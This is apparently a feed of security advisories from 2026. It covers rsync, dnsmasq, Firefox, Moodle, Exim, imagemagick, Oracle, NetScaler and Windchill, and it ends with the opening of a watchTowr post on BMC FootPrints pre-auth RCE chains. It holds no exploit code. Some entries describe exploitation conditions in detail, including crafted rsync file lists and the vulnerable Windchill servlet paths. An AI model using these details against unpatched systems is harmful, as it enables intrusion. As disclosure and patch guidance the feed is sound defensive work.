Recent bundles

rsync 3.4.3 (20 May 2026) - multiple vulnerabilities fixed

2026-05-20T04:18:43+0000 by Alexandre Dulaunoy

JSON

https://download.samba.org/pub/rsync/NEWS.html

SECURITY FIXES: Six CVEs are fixed in this release. All six are assigned by VulnCheck as CNA. Affected versions are 3.4.2 and earlier in every case. Three of the six (CVE-2026-29518, CVE-2026-43617, CVE-2026-43619) require non-default daemon configuration to reach: the first and third need use chroot = no for a module, the second needs daemon chroot = ... set in rsyncd.conf. Two (CVE-2026-43618, CVE-2026-43620) are reachable from a normal pull or a normal authenticated daemon connection. The sixth (CVE-2026-45232) is reachable only when RSYNC_PROXY is set and the proxy (or a MITM) returns a pathological response. Many thanks to the external researchers who reported these issues.

CVE-2026-29518 (CVSS v4.0 7.3, HIGH): TOCTOU symlink race condition allowing local privilege escalation in daemon mode without chroot. An rsync daemon configured with "use chroot = no" was exposed to a time-of-check / time-of-use race on parent path components: a local attacker with write access to a module could replace a parent directory component with a symlink between the receiver's check and its open(), redirecting reads (basis-file disclosure) and writes (file overwrite) outside the module. Default "use chroot = yes" is not exposed. secure_relative_open() (added in 3.4.0 for CVE-2024-12086) was previously unused in the daemon-no-chroot case; the fix enables it there and reroutes the sender's read-path opens through it. Reported by Nullx3D (Batuhan Sancak), Damien Neil and Michael Stapelberg.

CVE-2026-43617 (CVSS v3.1 4.8, MEDIUM): Hostname/ACL bypass on an rsync daemon configured with daemon chroot = /X in rsyncd.conf when the chroot tree lacks DNS resolution support. The reverse-DNS lookup of the connecting client was performed after the daemon chroot had been entered; if /X did not contain the libc resolver fixtures (/etc/resolv.conf, /etc/nsswitch.conf, /etc/hosts, NSS service modules) the lookup failed and the connecting hostname was set to "UNKNOWN", causing hostname-based deny rules to silently fail open. IP-based ACLs are unaffected. The per-module use chroot setting is unrelated to this issue. The fix performs the lookup before entering the daemon chroot. Reported by MegaManSec.

CVE-2026-43618 (CVSS v3.1 8.1, HIGH): Integer overflow in the compressed-token decoder enabling remote memory disclosure to an authenticated daemon peer. The receiver accumulated a 32-bit signed counter without overflow checking; a malicious sender could trigger an overflow that, with careful manipulation, leaked process memory contents to the attacker -⁠-⁠ environment variables, passwords, heap and library pointers -⁠-⁠ significantly weakening ASLR. The fix bounds the counter and adds wire-input validation in several adjacent places (defence-in-depth). Workaround for older releases: refuse options = compress in rsyncd.conf. Reported by Omar Elsayed.

CVE-2026-43619 (CVSS v3.1 6.3, MEDIUM): Symlink races on path-based system calls in "use chroot = no" daemon mode (generalisation of CVE-2026-29518). Earlier fixes for symlink races on the receiver's open() call missed the same race class on every other path-based system call: chmod, lchown, utimes, rename, unlink, mkdir, symlink, mknod, link, rmdir and lstat. The fix routes each affected path-based syscall through a parent dirfd opened under RESOLVE_BENEATH-equivalent kernel-enforced confinement (openat2 on Linux 5.6+, O_RESOLVE_BENEATH on FreeBSD 13+ and macOS 15+, per-component O_NOFOLLOW walk elsewhere). Default "use chroot = yes" is not exposed. Reported by Andrew Tridgell as a follow-on audit of CVE-2026-29518.

CVE-2026-43620 (CVSS v3.1 6.5, MEDIUM): Out-of-bounds read in the receiver's recv_files() enabling remote denial-of-service of any client pulling from a malicious server (incomplete fix of commit 797e17f). The earlier parent_ndx<0 guard added to send_files() was not applied to the visually-identical block in recv_files(). A malicious rsync server can drive any connecting client into a deterministic SIGSEGV by setting CF_INC_RECURSE in the compatibility flags and sending a crafted file list and transfer record. inc_recurse is the protocol-30+ default, so no special options are required on the victim. Workaround for older releases: --no-inc-recursive on the client. Reported by Pratham Gupta.

CVE-2026-45232 (CVSS v3.1 3.1, LOW): Off-by-one out-of-bounds stack write in the rsync client's HTTP CONNECT proxy handler (establish_proxy_connection() in socket.c). After issuing the CONNECT request, rsync read the proxy's first response line one byte at a time into a 1024-byte stack buffer with the bound cp < &buffer[sizeof buffer - 1]. If the proxy (or a MITM in front of it) returned 1023+ bytes on that first line without a newline terminator, cp exited the loop pointing at a buffer slot the loop never wrote, leaving *cp holding stale stack data from the earlier snprintf() of the outgoing CONNECT request. The post-loop logic then wrote a single \0 one byte past the end of the buffer on the stack. Reach is client-side only, and only when RSYNC_PROXY is set so rsync tunnels an rsync:// connection through an HTTP CONNECT proxy. The written byte is always \0 and the offset is fixed by the buffer size, not attacker-chosen, so this is not an arbitrary-write primitive: practical impact is corruption of one adjacent stack byte and possible later misbehaviour or crash. The fix detects the "buffer filled without finding \n" case explicitly by position and refuses the response with "proxy response line too long". Reported by Aisle Research via Michal Ruprich (rsync-3.4.1-2.el10 QE).

In addition to the six CVE fixes, this release adds defence-in-depth hardening on several adjacent paths: bounded wire-supplied counts and lengths in flist/io/acls/xattrs, a guard against length underflow in cumulative snprintf() callers, a parent block-index bounds check on the receiver, a NULL check in read_delay_line(), a lower ceiling on MAX_WIRE_DEL_STAT to avoid signed-int overflow in the read_del_stats() accumulator, rejection of hyphen-prefixed remote-shell hostnames (defence-in-depth against argv-injection in tooling that forwards untrusted input into the hostspec position; reported by Aisle Research via Michal Ruprich), and a NULL-check on localtime_r() in timestring() to keep a malicious server from crashing the client by advertising a file with an out-of-range modtime.

[Dnsmasq-discuss] Security - IMPORTANT - May 2026

2026-05-13T12:31:36+0000 by Alexandre Dulaunoy

JSON

Today, 11th May 2026 CERT is releasing a set of six CVEs for serious security vulnerabilities in dnsmasq. These are all long-standing bugs which apply to pretty much all non-ancient versions. The CVE has been pre-disclosed to vendors, so hopefully they will be releasing patched versions of their dnsmasq packages in a timely manner.

Details and patches are available on the website at

https://thekelleys.org.uk/dnsmasq/CVE/

and I have made "2.92rel2" release of the current 2.92 dnsmasq stable release which is downloadable from the usual place and has had these patches applied.

At the same time, the commits which fix these bugs in the development tree will be uploaded. Some of these use the same patches as the backports, but some are more comprehensive re-writes to tackle root-causes.

There has been something of a revolution in AI-based security research, and I've spent a lot of time over the last couple of months dealing with bug reports, weeding duplicates (so many duplicates!) and triaging bugs into those which need vendor pre-disclosure and those which it's better to make public and fix immediately. Those judgements have been necessarily subjective, but given the number of times "good guys" have found these bugs, there's no doubt that "bad guys" have been able to do the same, so long embargoes seem kind of pointless. There's also the problem that the amount of time and effort, for all actors, needed to co-ordinate an embargo and provide backports is huge. I think the priority for most bugs is to fix them going forward, and have new dnsmasq releases as bug-free as possible. To this end, you may have noticed that there have been a lot of security-fix commits to the git repo in the weeks prior to this announcement.

I will shortly tag dnsmasq-2.93rc1 and the aim is to get a stable 2.93 release done ASAP. Testing of release candidate by members here is important and I'd like to encourage anyone who can to do that as soon as they can. With luck, 2.93 could be out in a week or so.

The tsunami of AI-generated bug reports shows no signs of stopping, so it is likely that this process will have to be repeated again soon. There's a tension between getting as much as possible of the ongoing bug stream fixed in 2.93 and it's timely release. I plan to prioritise timeliness, and keep working after that as necessary.

Security Vulnerabilities fixed in Firefox 150.0.3 — Mozilla Mozilla Foundation Security Advisory 2026-45

2026-05-13T06:44:38+0000 by Alexandre Dulaunoy

JSON

Security Vulnerabilities fixed in Firefox 150.0.3 — Mozilla

Mozilla Foundation Security Advisory 2026-45

Announced

May 12, 2026

Impact

high

Products

Firefox

Fixed in

Firefox 150.0.3

#CVE-2026-8388: Incorrect boundary conditions in the JavaScript Engine: JIT component

Reporter

ggwhyp

Impact

high

References

Bug 2036978

#CVE-2026-8389: JIT miscompilation in the JavaScript Engine: JIT component

Reporter

ggwhyp

Impact

high

References

Bug 2036983

#CVE-2026-8390: Use-after-free in the JavaScript: WebAssembly component

Reporter

OpenAI Preparedness, Bill Demirkapi

Impact

high

References

Bug 2038081

#CVE-2026-8391: Other issue in the JavaScript Engine component

Reporter

ggwhyp

Impact

high

References

Bug 2038575

#CVE-2026-8401: Sandbox escape in the Profile Backup component

Reporter

ggwhyp

Impact

high

References

Bug 2038679

Related vulnerabilities: CVE-2026-8391 CVE-2026-8401 CVE-2026-8389 CVE-2026-8390 CVE-2026-8388

Moodle security vulnerability May 2026

2026-05-12T16:46:39+0000 by Alexandre Dulaunoy

JSON

Insufficient CSRF token and capability checks were applied to an MNet admin setting. Severity/Risk: Minor Versions affected: 5.1 to 5.1.3, 5.0 to 5.0.6, 4.5 to 4.5.10 and earlier unsupported versions Versions fixed: 5.1.4, 5.0.7 and 4.5.11 Reported by: Vincent Schneider CVE identifier: CVE-2026-7278 Changes (main): http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-84495 Tracker issue: MDL-84495 CSRF and missing capability check in admin/mnet/peers.php

The upstream AWS SDK for PHP library was upgraded, which included a security fix. Severity/Risk: Minor Versions affected: 5.1 to 5.1.3, 5.0 to 5.0.6, 4.5 to 4.5.10 and earlier unsupported versions Versions fixed: 5.1.4, 5.0.7 and 4.5.11 Reported by: Michael Hawkins CVE identifier: CVE-2025-14761 Changes (main): http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-87598 Tracker issue: MDL-87598 Upgrade AWS SDK for PHP including security fix (upstream)

The grade penalty rules reset function did not include the necessary token to prevent a CSRF risk. Severity/Risk: Minor Versions affected: 5.1 to 5.1.3 and 5.0 to 5.0.6 Versions fixed: 5.1.4 and 5.0.7 Reported by: Khải nguyễn Đặng CVE identifier: CVE-2026-7277 Changes (main): http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-88087 Tracker issue: MDL-88087 CSRF risk in reset penalty rules functionality

The PHPUnit version in Moodle LMS 4.5 required updating to avoid an upstream Poisoned Pipeline Execution (PPE) risk. Severity/Risk: Minor Versions affected: 4.5 to 4.5.10 Versions fixed: 4.5.11 Reported by: Huong Nguyen CVE identifier: CVE-2026-24765 Changes (main): http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-88381 Tracker issue: MDL-88381 Upgrade PHPUnit version to avoid a security risk (upstream)

A flaw in message handling of conversations with deleted users could result in active users losing access to their private messages. Severity/Risk: Minor Versions affected: 5.1 to 5.1.3, 5.0 to 5.0.6, 4.5 to 4.5.10 and earlier unsupported versions Versions fixed: 5.1.4, 5.0.7 and 4.5.11 Reported by: Adam Jenkins CVE identifier: CVE-2026-7276 Changes (main): http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-87760 Tracker issue: MDL-87760 Message panel breaks with messages from deleted users (messaging DoS risk)

A remote code execution risk was identified in Moodle's Google Drive repository plugin. Severity/Risk: Serious Versions affected: 5.1 to 5.1.3, 5.0 to 5.0.6, 4.5 to 4.5.10 and earlier unsupported versions Versions fixed: 5.1.4, 5.0.7 and 4.5.11 Reported by: Rojan Rijal Workaround: Disable the Google Drive repository plugin until the patch has been applied. CVE identifier: CVE-2026-7275 Changes (main): http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-88423 Tracker issue: MDL-88423 RCE risk via Moodle's Google Drive repository plugin

An SQL injection risk was identified in the "external database" authentication plugin (auth_db). Note: This only affected sites with the auth_db authentication plugin enabled. Severity/Risk: Serious Versions affected: 5.1 to 5.1.3, 5.0 to 5.0.6, 4.5 to 4.5.10 and earlier unsupported versions Versions fixed: 5.1.4, 5.0.7 and 4.5.11 Reported by: Melvinsh CVE identifier: CVE-2026-7274 Changes (main): http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-88138 Tracker issue: MDL-88138 SQL injection risk in external database authentication plugin

[exim-announce] Exim 4.99.2 Released (security release)

2026-05-02T04:40:22+0000 by Alexandre Dulaunoy

JSON

https://lists.exim.org/lurker/message/20260429.121733.f58d9686.en.html

Author: Bernard Quatermass via Exim-announce Date: 2026-04-29 14:17 +200 To: Exim Announcements CC: Bernard Quatermass Subject: [exim-announce] Exim 4.99.2 Released (security release) Dear Exim users and maintainers,

we are pleased to announce the availability of release 4.99.2 of Exim.

This is a security release.

It fixes the following vulnerabilities.

CVE-2026-40684 Possible crash with malicious DNS data when using musl libc

On systems using musl libc (not glibc) due to an oddity in octal printing it is possible to crash the connection instance when malformed DNS data is present in PTR records.

CVE-2026-40685 Possible OOB read/write on corrupt JSON in header

configurations using json operators on invalid externally-provided input could trigger heap corruption.

CVE-2026-40686 Possible OOB read with large UTF8 trailing characters

configurations using utf8 operators on malformed utf8 in headers could trigger OOB reads and might trigger some data leak if error messages are required for subsequent emails in the current connection and similar malformed headers are present.

CVE-2026-40687 Possible OOB read/write with SPA authenticator

in configurations using the SPA authentication driver to a hostile/compromised external SPA/NTLM connnection it is possible to trigger an OOB read/write and crash the connection instance or possibly leak heap data to the instance.

Older Exim versions may or may not be vulnerable but are not actively maintained.

We would like to thank the thousands of unnamed and uncredited authors whose works were ingested into the slopbots to "assist" in the reports for these vulnerabilities.

Exim 4.99.2 is available:

as tarball
- https://ftp.exim.org/pub/exim/exim4/
- https://code.exim.org/exim/exim/releases
directly from Git: https://code.exim.org/exim/exim tag: exim-4.99.2

The signatures on the release tarballs should be

key ID 0xBCE58C8CE41F32DF Email: jgh@???

-- Bernard Quatermass

Related vulnerabilities: CVE-2026-40685 CVE-2026-40686 CVE-2026-40687 CVE-2026-40684

[SECURITY] [DSA 6240-1] imagemagick security update

2026-05-01T15:50:35+0000 by Alexandre Dulaunoy

JSON

Debian Security Advisory DSA-6240-1 security@debian.org https://www.debian.org/security/ Moritz Muehlenhoff May 01, 2026 https://www.debian.org/security/faq

Package : imagemagick CVE ID : CVE-2026-32636 CVE-2026-33535 CVE-2026-33536 CVE-2026-33899 CVE-2026-33900 CVE-2026-33901 CVE-2026-33902 CVE-2026-33905 CVE-2026-33908 CVE-2026-34238 CVE-2026-40169 CVE-2026-40183 CVE-2026-40310 CVE-2026-40311 CVE-2026-40312

Multiple security vulnerabilities were discovered in imagemagick, a software suite used for editing and manipulating digital images, which could lead to denial of service, information disclosure or potentially arbitrary code execution if malformed images are processed.

For the stable distribution (trixie), these problems have been fixed in version 8:7.1.1.43+dfsg1-1+deb13u8.

We recommend that you upgrade your imagemagick packages.

For the detailed security status of imagemagick please refer to its security tracker page at: https://security-tracker.debian.org/tracker/imagemagick

Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/

Vulnerability CVE-2026-21992 in Oracle Identity Manager and Oracle Web Services Manager

2026-03-23T16:16:00+0000 by Alexandre Dulaunoy

JSON

Oracle Security Alert Advisory - CVE-2026-21992

Description

This Security Alert addresses vulnerability CVE-2026-21992 in Oracle Identity Manager and Oracle Web Services Manager. This vulnerability is remotely exploitable without authentication. If successfully exploited, this vulnerability may result in remote code execution.

Oracle strongly recommends that customers apply the updates or mitigations provided by this Security Alert as soon as possible. Oracle always recommends that customers remain on actively-supported versions and apply all Security Alerts and Critical Patch Update security patches without delay.

Affected Products and Patch Information

The security vulnerability addressed by this Security Alert affects the products listed below.

Please click on the links in the Patch Availability Document column below to access the documentation for patch availability information and installation instructions.

Security Alert Supported Products and Versions

Patches released through the Security Alert program are provided only for product versions that are covered under the Premier Support or Extended Support phases of the Lifetime Support Policy. Oracle recommends that customers plan product upgrades to ensure that patches released through the Security Alert program are available for the versions they are currently running.

Product releases that are not under Premier Support or Extended Support are not tested for the presence of vulnerabilities addressed by this Security Alert. However, it is likely that earlier versions of affected releases are also affected by these vulnerabilities. As a result, Oracle recommends that customers upgrade to supported versions.

Fusion Middleware products are patched in accordance with the Software Error Correction Support Policy explained in My Oracle Support Note KB65129. Please review the Technical Support Policies for further guidelines regarding support policies and phases of support.

References

Risk Matrix Content

Risk matrices list only security vulnerabilities that are newly addressed by the patches associated with this advisory. Risk matrices for previous security patches can be found in previous Critical Patch Update advisories and Alerts. An English text version of the risk matrices provided in this document is here.

Security vulnerabilities are scored using CVSS version 3.1 (see Oracle CVSS Scoring for an explanation of how Oracle applies CVSS version 3.1).

Oracle conducts an analysis of each security vulnerability addressed by a Security Alert. Oracle does not disclose detailed information about this security analysis to customers, but the resulting Risk Matrix and associated documentation provide information about conditions required to exploit the vulnerability and the potential impact of a successful exploit. Oracle provides this information so that customers may conduct their own risk analysis based on the particulars of their product usage. For more information, see Oracle vulnerability disclosure policies.

The protocol in the risk matrix implies that all of its secure variants are affected as well. For example, if HTTP is listed as an affected protocol, it implies that HTTPS is also affected. The secure variant of a protocol is listed in the risk matrix only if it is the only variant affected.

Modification History

Date	Note
2026-March-20	Rev 2. Added note.
2026-March-19	Rev 1. Initial Release.

Oracle Fusion Middleware Risk Matrix

This Security Alert contains 2 new security patches for Oracle Fusion Middleware. Both of these vulnerabilities may be remotely exploitable without authentication, i.e., may be exploited over a network without requiring user credentials. The English text form of this Risk Matrix can be found here.

CVE ID: BaseScore
Product: AttackVector
Component: AttackComplex
Protocol: PrivsReq'd
RemoteExploitwithoutAuth.?: UserInteract
CVSS VERSION 3.1 RISK (see Risk Matrix Definitions): Scope
Supported Versions Affected: Confid-entiality
Notes: Inte-grity
Avail-ability
CVE ID: CVE-2026-21992
Product: Oracle Identity Manager
Component: REST WebServices
Protocol: HTTP
RemoteExploitwithoutAuth.?: Yes
CVSS VERSION 3.1 RISK (see Risk Matrix Definitions): 9.8
Supported Versions Affected: Network
Notes: Low
None
None
Un-changed
High
High
High
12.2.1.4.0, 14.1.2.1.0
CVE ID: CVE-2026-21992
Product: Oracle Web Services Manager
Component: Web Services Security
Protocol: HTTP
RemoteExploitwithoutAuth.?: Yes
CVSS VERSION 3.1 RISK (see Risk Matrix Definitions): 9.8
Supported Versions Affected: Network
Notes: Low
None
None
Un-changed
High
High
High
12.2.1.4.0, 14.1.2.1.0
See Note 1

Notes:

Oracle Web Services Manager is installed with an Oracle Fusion Middleware Infrastructure.

Related vulnerabilities: CVE-2026-21992

NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2026-3055 and CVE-2026-4368

2026-03-23T15:53:28+0000 by Alexandre Dulaunoy

JSON

NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2026-3055 and CVE-2026-4368

Article ID: CTX696300

Description

NetScaler ADC and NetScaler Gateway are affected by the vulnerabilities mentioned below:

CVE-ID: CVE-2026-3055
Description: Insufficient input validation leading to memory overread
Pre-conditions: Citrix ADC or Citrix Gateway must be configured as a SAML IDP
CWE: CWE-125: Out-of-bounds Read
CVSS v4.0: CVSS v4.0 Base Score: 9.3(CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L)
CVE-ID: CVE-2026-4368
Description: Race Condition leading to User Session Mixup
Pre-conditions: Appliance must be configured as:Gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server
CWE: CWE-362: Race Condition
CVSS v4.0: CVSS v4.0 Base Score: 7.7(CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)

What Customers Should Do

CVE 2026-3055 was identified internally through our ongoing security reviews and broader efforts to strengthen the security of the product.

Cloud Software Group strongly urges affected customers of NetScaler ADC and NetScaler Gateway to install the relevant updated versions as soon as possible.

NetScaler ADC and NetScaler Gateway 14.1-66.59 and later releases
NetScaler ADC and NetScaler Gateway 13.1-62.23 and later releases of 13.1
NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1.37.262 and later releases of 13.1-FIPS and 13.1-NDcPP

Note: Customers are recommended to upgrade their appliances to one of the supported versions that address the vulnerabilities.

CVE-2026-3055 :

Customers can determine if they have an appliance configured as a SAML IDP Profile by inspecting their NetScaler Configuration for the specified string:

add authentication samlIdPProfile .*

CVE-2026-4368

Customers can determine if they have an appliance configured as one of the following by inspecting their NetScaler Configuration for the specified strings

An Auth Server (AAA Vserver):
- add authentication vserver .*
A Gateway (VPN Vserver, ICA Proxy, CVPN, RDP Proxy) :
- add vpn vserver .*

Environment

The information on this page is being provided to you on an "AS IS" and "AS-AVAILABLE" basis. The issues described on this page may or may not impact your system(s). Cloud Software Group Holdings, Inc. and its subsidiaries (collectively, "Cloud SG") make no representations, warranties, or guarantees as to the information contained herein. ANY AND ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING, WITHOUT LIMITATION, INCLUDING, BUT NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY, NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE ARE HEREBY DISCLAIMED. BY ACCESSING THIS PAGE, YOU ACKNOWLEDGE THAT CLOUD SG SHALL IN NO EVENT BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, PUNITIVE, OR CONSEQUENTIAL DAMAGES THAT ARISE OUT OF YOUR USE OR FAILURE TO USE THE INFORMATION CONTAINED HEREIN. Cloud SG reserves the right to change or update the information on this page at any time. We accordingly recommend that you always view the latest version of this page. The information contained herein is being provided to you under the terms of your applicable customer agreement with Cloud SG, and may be used only for the purposes contemplated by such agreement. If you do not have such an agreement with Cloud SG, this information is provided under the cloud.com Terms of Use, and may be used only for the purposes contemplated by such Terms of Use.

Issue/Introduction

Severity - Critical

Description of Problem

Vulnerabilities have been discovered in NetScaler ADC (formerly Citrix ADC) and NetScaler Gateway (formerly Citrix Gateway). Refer below for further details.

Affected Versions:

The following supported versions of NetScaler ADC and NetScaler Gateway are affected by the vulnerabilities:

CVE-2026-3055:

NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-66.59
NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-62.23
NetScaler ADC FIPS and NDcPP BEFORE 13.1-37.262

CVE-2026-4368:

NetScaler ADC and NetScaler Gateway  14.1-66.54

Note: This bulletin only applies to customer-managed NetScaler ADC and NetScaler Gateway. Cloud Software Group upgrades Citrix-managed cloud services and Citrix-managed Adaptive Authentication with the necessary software updates.

Additional Information

What Citrix is Doing

Citrix is notifying customers and channel partners about this potential security issue through the publication of this security bulletin on the Citrix Knowledge Center at https://support.citrix.com/support-home/topic-article-list?trendingCategory=20&trendingTopicName=Security%20Bulletin

Obtaining Support on This Issue

If you require technical assistance with this issue, please contact Citrix Technical Support. Contact details for Citrix Technical Support are available at https://support.citrix.com/support-home/home

Subscribe to Receive Alerts

Citrix strongly recommends that all customers subscribe to receive alerts when a Citrix security bulletin is created or modified at https://support.citrix.com/wolken-support/view/aboutsupport/my-support-alerts

Reporting Security Vulnerabilities to Citrix

Citrix welcomes input regarding the security of its products and considers any and all potential vulnerabilities seriously. For details on our vulnerability response process and guidance on how to report security-related issues to Citrix, please see the following webpage: https://www.cloud.com/trust-center/support

Related vulnerabilities: CVE-2026-4368 CVE-2026-3055

Critical RCE Vulnerability reported in Windchill

2026-03-23T12:31:11+0000 by Alexandre Dulaunoy

JSON

Zero-day allows code execution in WindChill and FlexPLM | heise online

Zero-day allows code execution in WindChill and FlexPLM

The software Windchill and FlexPLM contains a security vulnerability that allows code execution. The manufacturer urgently calls for security measures to be taken – a patch is not yet available at the moment.

Information about the vulnerability is scarce; neither a CVE identifier nor warnings from national CERTs (Computer Emergency Response Team) are available. However, the manufacturer and its partners appear to be concerned: they are assigning the highest score of 10.0 points on the CVSS scale and urging customers to react immediately.

Apparently, the error is hidden in the deserialization of the servlets /servlet/WindchillGW/com.ptc.wvs.server.publish.Publish and /servlet/WindchillAuthGW/com.ptc.wvs.server.publish.Publish. If these are accessible to an attacker, for example, because the Windchill server is reachable from the internet, they can inject and execute code.

Many versions affected

According to the manufacturer PTC's extremely brief security notice in the Knowledge Base, the following versions are affected:

Windchill PDMLink 11.0 M030
Windchill PDMLink 11.1 M020
Windchill PDMLink 11.2.1.0
Windchill PDMLink 12.0.2.0
Windchill PDMLink 13.0.2.0
Windchill PDMLink 13.1.0.0
Windchill PDMLink 13.1.1.0
Windchill PDMLink 13.1.2.0
Windchill PDMLink 13.1.3.0
Windchill PDMLink 12.1.2.0
FlexPLM 11.0 M030
FlexPLM 11.1 M020
FlexPLM 11.2.1.0
FlexPLM 12.0.0.0
FlexPLM 12.0.2.0
FlexPLM 12.0.3.0
FlexPLM 12.1.2.0
FlexPLM 12.1.3.0
FlexPLM 13.0.2.0
FlexPLM 13.0.3.0

Workaround: Restrict access via Apache configuration

Until a patch is available, admins should use a workaround. As described by the Windchill service provider EAC in a communication to its customers, this requires a configuration change to the Apache web server. According to EAC, this should be done immediately to neutralize the risk of an exploit.

Create a new configuration file <APACHE_HOME>/conf/conf.d/90-app-Windchill-Auth.conf. (If a file with the prefix 90- or higher already exists, the new file should receive the highest number to be loaded as the last file)
Incorporate the following directives into it:
<LocationMatch "^.*servlet/(WindchillGW|WindchillAuthGW)/com\.ptc\.wvs\.server\.publish\.Publish(?:;[^/]*)?/.*$">``Require all denied``</LocationMatch>
Restart the web server using the known commands.

Apparently active attacks – admins should keep their eyes open

Although the manufacturer claims to have no knowledge of successful attacks, service provider EAC mentions some "Indicators of Compromise" (IOC). This means that attacks against Windchill or FlexPLM servers must have already occurred. The IOCs indicate that after a successful exploit, attackers upload files with malicious code to the server, typically web shells. Instances operated by PTC itself are already protected.

Insecure deserialization is a known entry point for exploits and is popular with cybercriminals and state-sponsored attackers. Just a few days ago, the US cybersecurity agency added another deserialization vulnerability in Microsoft SharePoint to its database of Known Exploited Vulnerabilities.

(cku)

Don't miss any news – follow us on Facebook, LinkedIn or Mastodon.

This article was originally published in German. It was translated with technical assistance and editorially reviewed before publication.

Related vulnerabilities: GCVE-1-2026-0021

The Most Organized Threat Actors Use Your ITSM (BMC FootPrints Pre-Auth Remote Code Execution Chains)

2026-03-19T14:30:50+0000 by Alexandre Dulaunoy

JSON

The Most Organized Threat Actors Use Your ITSM (BMC FootPrints Pre-Auth Remote Code Execution Chains)

SolarWinds. Ivanti. SysAid. ManageEngine. Giants of the KEV world, all of whom have ITSM side-projects.

ITSMs, as a group of solutions, have played pivotal roles in numerous ransomware gang campaigns - not only do they represent code running on a system, but they hold a significant amount of sensitive information. With the ability to track IT inventory, configuration files, and incident reports, threat actor campaigns have never been so organized.

BMC FootPrints last received a CVE in 2014. Today, we fix that. Digging into our archives, we're detailing vulnerabilities we discovered and chained in 2025 against (at the time fully patched) BMC FootPrints to achieve Pre-authenticated Remote Code Execution.

Welcome back to another monologue/watchTowr Labs blogpost.

The Horrors

What is BMC FootPrints?

BMC FootPrints is an IT Service Management (ITSM) solution designed to help IT teams manage service requests, incidents, assets, and changes through configurable workflows and an intuitive web interface.

Like most products in this category, it includes rollercoaster-esque excitement, such as:

Ticket management
Incident tracking
Workflow automation
Asset management
Reporting
And more

BMC FootPrints is one of two ITSM ‘product lines’ that BMC offers:

Helix, and
FootPrints

FootPrints has kept a fairly low profile, with minimal CVEs assigned to the product itself; the most recent was in 2014 (CVE-2025-24813 is for Tomcat, don't @ us). A tell?

If we take that "tell", and combine it with an end-user comment we found on HackForums;

> “BMC Footprints has been, for the most part, solid. We have been using it for a few years now, and have recently updated V11. We are currently in the process of upgrading to V12, and we are told that it is a total rewrite and should improve the experience as it no longer written in an outdated programming language with heavy reliance on JRE. We were disappointed to hear that there is no way to do a straight upgrade from V11 to V12."

Well, you can see where this is going.

What Did You Do Now, watchTowr?

To cut to the chase - in today's blog post, we’ll be walking through four (4) distinct vulnerabilities, our discovery process, and their eventual chaining.

CVE-2025-71257 / WT-2025-0069 - Authentication Bypass
CVE-2025-71258 / WT-2025-0070 - Server-Side Request Forgery
CVE-2025-71259 / WT-2025-0071 - Server-Side Request Forgery
CVE-2025-71260 / WT-2025-0072 - Deserialization of Untrusted Data (RCE)

The following branches/versions were identified to be affected:

BMC FootPrints 20.20.02 to 20.24.01.001

Disclosure and Remediation Historical Timeline Originally Written On Parchment It Was So Long Ago

We've moved the timeline here. Why? No reason.

Date: 6th June 2025
Detail: watchTowr discloses WT-2025-0069, WT-2025-0070, WT-2025-0071, WT-2025-0072 to BMC
Date: 6th June 2025
Detail: watchTowr hunts across client attack surfaces for exposure
Date: 9th June 2025
Detail: watchTowr provides the Aspectjweaver RCE gadget to BMC
Date: 12th June 2025
Detail: BMC acknowledge receipt of reports
Date: 16th June 2025
Detail: BMC confirms successful reproduction of all vulnerabilities except WT-2025-0072 (RCE) and requests more information
Date: 20th June 2025
Detail: watchTowr provides a point and click Python PoC to reproduce the Authentication Bypass (WT-2025-0069) and Remote Code Execution chain (WT-2025-0072)
Date: 20th June 2025
Detail: BMC report receiving the PoC and will report back
Date: 1st July 2025
Detail: watchTowr asks for update on the RCE reproduction
Date: 3rd July 2025
Detail: BMC report issues in reproducing the RCE and ask for more clarification on watchTowr environment
Date: 3rd July 2025
Detail: watchTowr provides screenshot evidence of the exploit chain
Date: 4th July 2025
Detail: BMC request hash of the web.xml in the watchTowr environment
Date: 5th July 2025
Detail: watchTowr provides hash of various files including the installer of the FootPrints environment
Date: 18th July 2025
Detail: watchTowr requests an update
Date: 1st August 2025
Detail: watchTowr requests an update
Date: 29th August 2025
Detail: BMC acknowledges issues with emails and will report back soon
Date: 2nd September 2025
Detail: BMC report back that they were able to reproduce the RCE and all four issues have been fixed! Hot Fixes Released: 20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, 20.24.01
Date: 2nd March 2026
Detail: CVEs assigned: • CVE-2025-71257 / WT-2025-0069 : Authentication Bypass • CVE-2025-71258 / WT-2025-0070 : Server-Side Request Forgery • CVE-2025-71259 / WT-2025-0071 : Server-Side Request Forgery • CVE-2025-71260 / WT-2025-0072 : Deserialization of Untrusted Data (RCE)
Date: 18th March 2026
Detail: watchTowr remembers this post exists, cries, and publishes research

Sigh.

Back To The Story

As always with any research, we set ourselves creative, unique, and clear goals - and withheld food until they were achieved.

Can we achieve Remote Code Execution?
- Can we achieve Remote Code Execution?
  - Can we achieve Remote Code Execution?
    - Can we achieve Remote Code Execution?
      - Can we achieve Remote Code Execution without authentication?

Diving In

With BMC FootPrints easily installed on a Windows Server, we’re off to the races.

